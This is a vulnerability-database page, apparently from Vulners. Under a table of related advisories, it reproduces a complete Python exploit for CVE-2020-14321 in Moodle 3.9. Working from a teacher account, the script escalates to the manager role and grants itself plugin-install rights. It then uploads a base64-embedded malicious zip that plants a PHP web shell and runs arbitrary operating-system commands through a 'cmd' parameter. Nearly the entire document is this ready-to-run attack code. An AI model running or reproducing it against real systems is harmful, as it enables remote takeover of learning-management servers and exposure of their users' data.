| Reporter | Title | Published | Views | Family All 67 |
|---|---|---|---|---|
| Moodle 3.9 - Remote Code Execution (Authenticated) Exploit | 5 Aug 202100:00 | – | zdt | |
| Moodle Teacher Enrollment Privilege Escalation / Remote Code Execution Exploit | 13 Oct 202100:00 | – | zdt | |
| Exploit for Incorrect Authorization in Moodle | 28 Apr 202119:46 | – | githubexploit | |
| Exploit for Incorrect Authorization in Moodle | 26 Jul 202001:28 | – | githubexploit | |
| CVE-2020-14321 | 5 Aug 202108:06 | – | circl | |
| Moodle Permission License and Access Control Issues Vulnerability | 11 Aug 202000:00 | – | cnvd | |
| CVE-2020-14321 | 16 Aug 202200:00 | – | cve | |
| CVE-2020-14321 | 16 Aug 202200:00 | – | cvelist | |
| Moodle 3.9 - Remote Code Execution (RCE) (Authenticated) | 5 Aug 202100:00 | – | exploitdb | |
| Moodle Incorrect Authorization vulnerability | 17 Aug 202200:00 | – | github |
`# Exploit Title: Moodle 3.9 - Remote Code Execution (RCE) (Authenticated)
# Date: 12-05-2021
# Exploit Author: lanz
# Vendor Homepage: https://moodle.org/
# Version: Moodle 3.9
# Tested on: FreeBSD
#!/usr/bin/python3
## Moodle 3.9 - RCE (Authenticated as teacher)
## Based on PoC and Payload to assign full permissions to manager rol:
## * https://github.com/HoangKien1020/CVE-2020-14321
## Repository: https://github.com/lanzt/CVE-2020-14321/blob/main/CVE-2020-14321_RCE.py
import string, random
import requests, re
import argparse
import base64
import signal
import time
from pwn import *
class Color:
BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
END = '\033[0m'
def def_handler(sig, frame):
print(Color.RED + "\n[!] 3xIt1ngG...\n")
exit(1)
signal.signal(signal.SIGINT, def_handler)
banner = base64.b64decode("IF9fICAgICBfXyAgICAgX18gICBfXyAgX18gICBfXyAgICAgICAgICAgICAgX18gIF9fICAgICAKLyAgXCAgL3xfICBfXyAgIF8pIC8gIFwgIF8pIC8gIFwgX18gIC98IHxfX3wgIF8pICBfKSAvfCAKXF9fIFwvIHxfXyAgICAgL19fIFxfXy8gL19fIFxfXy8gICAgICB8ICAgIHwgX18pIC9fXyAgfCDigKIgYnkgbGFuegoKTW9vZGxlIDMuOSAtIFJlbW90ZSBDb21tYW5kIEV4ZWN1dGlvbiAoQXV0aGVudGljYXRlZCBhcyB0ZWFjaGVyKQpDb3Vyc2UgZW5yb2xtZW50cyBhbGxvd2VkIHByaXZpbGVnZSBlc2NhbGF0aW9uIGZyb20gdGVhY2hlciByb2xlIGludG8gbWFuYWdlciByb2xlIHRvIFJDRQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA==").decode()
print(Color.BLUE + banner + Color.END)
def usagemybro():
fNombre = os.path.basename(__file__)
ussage = fNombre + ' [-h] [-u USERNAME] [-p PASSWORD] [-idm ID_MANAGER] [-idc ID_COURSE] [-c COMMAND] [--cookie TEACHER_COOKIE] url\n\n'
ussage += '[+] Examples:\n'
ussage += '\t' + fNombre + ' http://moodle.site.com/moodle -u teacher_name -p teacher_pass\n'
ussage += '\t' + fNombre + " http://moodle.site.com/moodle --cookie thisistheffcookieofmyteaaacher\n"
return ussage
def arguments():
parse = argparse.ArgumentParser(usage=usagemybro())
parse.add_argument(dest='url', type=str, help='URL Moodle site')
parse.add_argument('-u', dest='username', type=str, default='lanz', help='Teacher username, default: lanz')
parse.add_argument('-p', dest='password', type=str, default='Lanz123$!', help='Teacher password, default: Lanz123$!')
parse.add_argument('-idm', dest='id_manager', type=str, default='25', help='Manager user ID, default: 25')
parse.add_argument('-idc', dest='id_course', type=str, default='5', help='Course ID valid to enrol yourself, default: 5')
parse.add_argument('-c', dest='command', type=str, default='whoami', help='Command to execute, default: whoami')
parse.add_argument('--cookie', dest='teacher_cookie', type=str, default='', help='Teacher cookie (if you don\'t have valid credentials)')
return parse.parse_args()
def login(url, username, password, course_id, teacher_cookie):
'''
Sign in on site, with creds or with cookie
'''
p1 = log.progress("Login on site")
session = requests.Session()
r = session.get(url + '/login/index.php')
# Sign in with teacher cookie
if teacher_cookie != "":
p1.status("Cookie " + Color.BLUE + "MoodleSession:" + teacher_cookie + Color.END)
time.sleep(2)
# In case the URL format is: http://moodle.site.com/moodle
cookie_domain = url.split('/')[2] # moodle.site.com
cookie_path = "/%s/" % (url.split('/')[3]) # /moodle/
session.cookies.set('MoodleSession', teacher_cookie, domain=cookie_domain, path=cookie_path)
r = session.get(url + '/user/index.php', params={"id":course_id})
try:
re.findall(r'class="usertext mr-1">(.*?)<', r.text)[0]
except IndexError:
p1.failure(Color.RED + "✘" + Color.END)
print(Color.RED + "\nInvalid cookie, try again, verify cookie domain and cookie path or simply change all.\n")
exit(1)
id_user = re.findall(r'id="nav-notification-popover-container" data-userid="(.*?)"', r.text)[0]
sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0]
p1.success(Color.BLUE + "MoodleSession:" + teacher_cookie + Color.END + Color.YELLOW + " ✓" + Color.END)
time.sleep(1)
# Sign in with teacher credentials
elif username and password != "":
p1.status("Creds " + Color.BLUE + username + ":" + password + Color.END)
time.sleep(2)
login_token = re.findall(r'name="logintoken" value="(.*?)"', r.text)[0]
data_post = {
"anchor" : "",
"logintoken" : login_token,
"username" : username,
"password" : password
}
r = session.post(url + '/login/index.php', data=data_post)
if "Recently accessed courses" not in r.text:
p1.failure(Color.RED + "✘" + Color.END)
print(Color.RED + "\nInvalid credentials.\n")
exit(1)
id_user = re.findall(r'id="nav-notification-popover-container" data-userid="(.*?)"', r.text)[0]
sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0]
p1.success(Color.BLUE + username + ":" + password + Color.END + Color.YELLOW + " ✓" + Color.END)
time.sleep(1)
else:
print(Color.RED + "\nUse valid credentials or valid cookie\n")
exit(1)
return session, id_user, sess_key
def enrol2rce(session, url, id_manager, username, course_id, teacher_cookie, command):
'''
Assign rol manager to teacher and manager account in the course.
'''
p4 = log.progress("Updating roles to move on manager accout")
time.sleep(1)
r = session.get(url + '/user/index.php', params={"id":course_id})
try:
teacher_user = re.findall(r'class="usertext mr-1">(.*?)<', r.text)[0]
except IndexError:
p4.failure(Color.RED + "✘" + Color.END)
print(Color.RED + "\nInvalid cookie, try again, verify cookie domain and cookie path or simply change all.\n")
exit(1)
p4.status("Teacher " + Color.BLUE + teacher_user + Color.END)
time.sleep(1)
id_user = re.findall(r'id="nav-notification-popover-container" data-userid="(.*?)"', r.text)[0]
sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0]
session = update_rol(session, url, sess_key, course_id, id_user)
session = update_rol(session, url, sess_key, course_id, id_manager)
data_get = {
"id" : course_id,
"user" : id_manager,
"sesskey" : sess_key
}
r = session.get(url + '/course/loginas.php', params=data_get)
if "You are logged in as" not in r.text:
p4.failure(Color.RED + "✘" + Color.END)
print(Color.RED + "\nError trying to move on manager account. Validate credentials (or cookie).\n")
exit(1)
p4.success(Color.YELLOW + "✓" + Color.END)
time.sleep(1)
sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0]
# Updating rol manager to enable install plugins
session, sess_key = update_rol_manager(session, url, sess_key)
# Upload malicious zip file
zipb64_up(session, url, sess_key, teacher_user, course_id)
# RCE on system
moodle_RCE(url, command)
def update_rol(session, url, sess_key, course_id, id_user):
'''
Updating teacher rol to enable he update other users
'''
data_get = {
"mform_showmore_main" : "0",
"id" : course_id,
"action" : "enrol",
"enrolid" : "10",
"sesskey" : sess_key,
"_qf__enrol_manual_enrol_users_form" : "1",
"mform_showmore_id_main" : "0",
"userlist[]" : id_user,
"roletoassign" : "1",
"startdate" : "4",
"duration" : ""
}
r = session.get(url + '/enrol/manual/ajax.php', params=data_get)
return session
def update_rol_manager(session, url, sess_key):
'''
Updating rol manager to enable install plugins
* Extracted from: https://github.com/HoangKien1020/CVE-2020-14321
'''
p6 = log.progress("Updating rol manager to enable install plugins")
time.sleep(1)
data_get = {
"action":"edit",
"roleid":"1"
}
random_desc = ''.join(random.choice(string.ascii_lowercase) for i in range(15))
# Headache part :P
data_post = [('sesskey',sess_key),('return','manage'),('resettype','none'),('shortname','manager'),('name',''),('description',random_desc),('archetype','manager'),('contextlevel10','0'),('contextlevel10','1'),('contextlevel30','0'),('contextlevel30','1'),('contextlevel40','0'),('contextlevel40','1'),('contextlevel50','0'),('contextlevel50','1'),('contextlevel70','0'),('contextlevel70','1'),('contextlevel80','0'),('contextlevel80','1'),('allowassign[]',''),('allowassign[]','1'),('allowassign[]','2'),('allowassign[]','3'),('allowassign[]','4'),('allowassign[]','5'),('allowassign[]','6'),('allowassign[]','7'),('allowassign[]','8'),('allowoverride[]',''),('allowoverride[]','1'),('allowoverride[]','2'),('allowoverride[]','3'),('allowoverride[]','4'),('allowoverride[]','5'),('allowoverride[]','6'),('allowoverride[]','7'),('allowoverride[]','8'),('allowswitch[]',''),('allowswitch[]','1'),('allowswitch[]','2'),('allowswitch[]','3'),('allowswitch[]','4'),('allowswitch[]','5'),('allowswitch[]','6'),('allowswitch[]','7'),('allowswitch[]','8'),('allowview[]',''),('allowview[]','1'),('allowview[]','2'),('allowview[]','3'),('allowview[]','4'),('allowview[]','5'),('allowview[]','6'),('allowview[]','7'),('allowview[]','8'),('block/admin_bookmarks:myaddinstance','1'),('block/badges:myaddinstance','1'),('block/calendar_month:myaddinstance','1'),('block/calendar_upcoming:myaddinstance','1'),('block/comments:myaddinstance','1'),('block/course_list:myaddinstance','1'),('block/globalsearch:myaddinstance','1'),('block/glossary_random:myaddinstance','1'),('block/html:myaddinstance','1'),('block/lp:addinstance','1'),('block/lp:myaddinstance','1'),('block/mentees:myaddinstance','1'),('block/mnet_hosts:myaddinstance','1'),('block/myoverview:myaddinstance','1'),('block/myprofile:myaddinstance','1'),('block/navigation:myaddinstance','1'),('block/news_items:myaddinstance','1'),('block/online_users:myaddinstance','1'),('block/private_files:myaddinstance','1'),('block/recentlyaccessedcourses:myaddinstance','1'),('block/recentlyaccesseditems:myaddinstance','1'),('block/rss_client:myaddinstance','1'),('block/settings:myaddinstance','1'),('block/starredcourses:myaddinstance','1'),('block/tags:myaddinstance','1'),('block/timeline:myaddinstance','1'),('enrol/category:synchronised','1'),('message/airnotifier:managedevice','1'),('moodle/analytics:listowninsights','1'),('moodle/analytics:managemodels','1'),('moodle/badges:manageglobalsettings','1'),('moodle/blog:create','1'),('moodle/blog:manageentries','1'),('moodle/blog:manageexternal','1'),('moodle/blog:search','1'),('moodle/blog:view','1'),('moodle/blog:viewdrafts','1'),('moodle/course:configurecustomfields','1'),('moodle/course:recommendactivity','1'),('moodle/grade:managesharedforms','1'),('moodle/grade:sharegradingforms','1'),('moodle/my:configsyspages','1'),('moodle/my:manageblocks','1'),('moodle/portfolio:export','1'),('moodle/question:config','1'),('moodle/restore:createuser','1'),('moodle/role:manage','1'),('moodle/search:query','1'),('moodle/site:config','1'),('moodle/site:configview','1'),('moodle/site:deleteanymessage','1'),('moodle/site:deleteownmessage','1'),('moodle/site:doclinks','1'),('moodle/site:forcelanguage','1'),('moodle/site:maintenanceaccess','1'),('moodle/site:manageallmessaging','1'),('moodle/site:messageanyuser','1'),('moodle/site:mnetlogintoremote','1'),('moodle/site:readallmessages','1'),('moodle/site:sendmessage','1'),('moodle/site:uploadusers','1'),('moodle/site:viewparticipants','1'),('moodle/tag:edit','1'),('moodle/tag:editblocks','1'),('moodle/tag:flag','1'),('moodle/tag:manage','1'),('moodle/user:changeownpassword','1'),('moodle/user:create','1'),('moodle/user:delete','1'),('moodle/user:editownmessageprofile','1'),('moodle/user:editownprofile','1'),('moodle/user:ignoreuserquota','1'),('moodle/user:manageownblocks','1'),('moodle/user:manageownfiles','1'),('moodle/user:managesyspages','1'),('moodle/user:update','1'),('moodle/webservice:createmobiletoken','1'),('moodle/webservice:createtoken','1'),('moodle/webservice:managealltokens','1'),('quizaccess/seb:managetemplates'
r = session.post(url + '/admin/roles/define.php', params=data_get, data=data_post)
# Above we modify description field, so, if script find that description on site, we are good.
if random_desc not in r.text:
p6.failure(Color.RED + "✘" + Color.END)
print(Color.RED + "\nTrouble updating fields\n")
exit(1)
else:
r = session.get(url + '/admin/search.php')
if "Install plugins" not in r.text:
p6.failure(Color.RED + "✘" + Color.END)
print(Color.RED + "\nModified fields but the options to install plugins have not been enabled.")
print(Color.RED + "- (This is weird, sometimes he does it, sometimes he doesn't!!) Try again.\n")
exit(1)
sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0]
p6.success(Color.YELLOW + "✓" + Color.END)
time.sleep(1)
return session, sess_key
def zipb64_up(session, url, sess_key, teacher_user, course_id):
'''
Doing upload of zip file as base64 binary data
* https://stackabuse.com/encoding-and-decoding-base64-strings-in-python/
'''
p7 = log.progress("Uploading malicious " + Color.BLUE + ".zip" + Color.END + " file")
r = session.get(url + '/admin/tool/installaddon/index.php')
zipfile_id = re.findall(r'name="zipfile" id="id_zipfile" value="(.*?)"', r.text)[0]
client_id = re.findall(r'"client_id":"(.*?)"', r.text)[0]
# Upupup
data_get = {"action":"upload"}
data_post = {
"title" : "",
"author" : teacher_user,
"license" : "unknown",
"itemid" : [zipfile_id, zipfile_id],
"accepted_types[]" : [".zip",".zip"],
"repo_id" : course_id,
"p" : "",
"page" : "",
"env" : "filepicker",
"sesskey" : sess_key,
"client_id" : client_id,
"maxbytes" : "-1",
"areamaxbytes" : "-1",
"ctx_id" : "1",
"savepath" : "/"
}
zip_b64 = 'UEsDBAoAAAAAAOVa0VAAAAAAAAAAAAAAAAAEAAAAcmNlL1BLAwQKAAAAAACATtFQAAAAAAAAAAAAAAAACQAAAHJjZS9sYW5nL1BLAwQKAAAAAAB2bdFQAAAAAAAAAAAAAAAADAAAAHJjZS9sYW5nL2VuL1BLAwQUAAAACAD4W9FQA9MUliAAAAAeAAAAGQAAAHJjZS9sYW5nL2VuL2Jsb2NrX3JjZS5waHCzsS/IKFAoriwuSc3VUIl3dw2JVk/OTVGP1bRWsLcDAFBLAwQUAAAACAB6bdFQtXxvb0EAAABJAAAADwAAAHJjZS92ZXJzaW9uLnBocLOxL8goUODlUinIKU3PzNO1K0stKs7Mz1OwVTAyMDIwMDM0NzCwRpJPzs8tyM9LzSsBqlBPyslPzo4vSk5VtwYAUEsBAh8ACgAAAAAA5VrRUAAAAAAAAAAAAAAAAAQAJAAAAAAAAAAQAAAAAAAAAHJjZS8KACAAAAAAAAEAGAB/2bACX0TWAWRC9B9fRNYBhvTzH19E1gFQSwECHwAKAAAAAACATtFQAAAAAAAAAAAAAAAACQAkAAAAAAAAABAAAAAiAAAAcmNlL2xhbmcvCgAgAAAAAAABABgArE3mRVJE1gGOG/QfX0TWAYb08x9fRNYBUEsBAh8ACgAAAAAAdm3RUAAAAAAAAAAAAAAAAAwAJAAAAAAAAAAQAAAASQAAAHJjZS9sYW5nL2VuLwoAIAAAAAAAAQAYAMIcIaZyRNYBwhwhpnJE1gGOG/QfX0TWAVBLAQIfABQAAAAIAPhb0VAD0xSWIAAAAB4AAAAZACQAAAAAAAAAIAAAAHMAAAByY2UvbGFuZy9lbi9ibG9ja19yY2UucGhwCgAgAAAAAAABABgA1t0sN2BE1gHW3Sw3YETWAfYt6i9fRNYBUEsBAh8AFAAAAAgAem3RULV8b29BAAAASQAAAA8AJAAAAAAAAAAgAAAAygAAAHJjZS92ZXJzaW9uLnBocAoAIAAAAAAAAQAYAO6e2qlyRNYB7p7aqXJE1gFkQvQfX0TWAVBLBQYAAAAABQAFANsBAAA4AQAAAAA='
zip_file_bytes = zip_b64.encode('utf-8')
zip_file_b64 = base64.decodebytes(zip_file_bytes)
data_file = [
('repo_upload_file',
('rce.zip', zip_file_b64, 'application/zip'))]
r = session.post(url + '/repository/repository_ajax.php', params=data_get, data=data_post, files=data_file)
if "rce.zip" not in r.text:
p7.failure(Color.RED + "✘" + Color.END)
print(Color.RED + "\nError uploading zip file.\n")
exit(1)
# Trying to load file
data_post = {
"sesskey" : sess_key,
"_qf__tool_installaddon_installfromzip_form" : "1",
"mform_showmore_id_general" : "0",
"mform_isexpanded_id_general" : "1",
"zipfile" : zipfile_id,
"plugintype" : "",
"rootdir" : "",
"submitbutton" : "Install plugin from the ZIP file"
}
r = session.post(url + '/admin/tool/installaddon/index.php', data=data_post)
if "Validation successful, installation can continue" not in r.text:
p7.failure(Color.RED + "✘" + Color.END)
print(Color.RED + "\nError uploading zip file, problems on plugin install.\n")
exit(1)
# Confirm load
zip_storage = re.findall(r'installzipstorage=(.*?)&', r.url)[0]
data_post = {
"installzipcomponent" : "block_rce",
"installzipstorage" : zip_storage,
"installzipconfirm" : "1",
"sesskey" : sess_key
}
r = session.post(url + '/admin/tool/installaddon/index.php', data=data_post)
if "Current release information" not in r.text:
p7.failure(Color.RED + "✘" + Color.END)
print(Color.RED + "\nError uploading zip file, confirmation problems.\n")
exit(1)
p7.success(Color.YELLOW + "✓" + Color.END)
time.sleep(1)
return session
def moodle_RCE(url, command):
'''
Remote Command Execution on system with plugin installed (malicious zip file)
'''
p8 = log.progress("Executing " + Color.BLUE + command + Color.END)
time.sleep(1)
data_get = {"cmd" : command}
try:
r = session.get(url + '/blocks/rce/lang/en/block_rce.php', params=data_get, timeout=3)
p8.success(Color.YELLOW + "✓" + Color.END)
time.sleep(1)
print("\n" + Color.YELLOW + r.text + Color.END)
except requests.exceptions.Timeout as e:
p8.success(Color.YELLOW + "✓" + Color.END)
time.sleep(1)
pass
print("[" + Color.YELLOW + "+" + Color.END + "]" + Color.GREEN + " Keep breaking ev3rYthiNg!!\n" + Color.END)
if __name__ == '__main__':
args = arguments()
session, id_user, sess_key = login(args.url, args.username, args.password, args.id_course, args.teacher_cookie)
enrol2rce(session, args.url, args.id_manager, args.username, args.id_course, args.teacher_cookie, args.command)
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation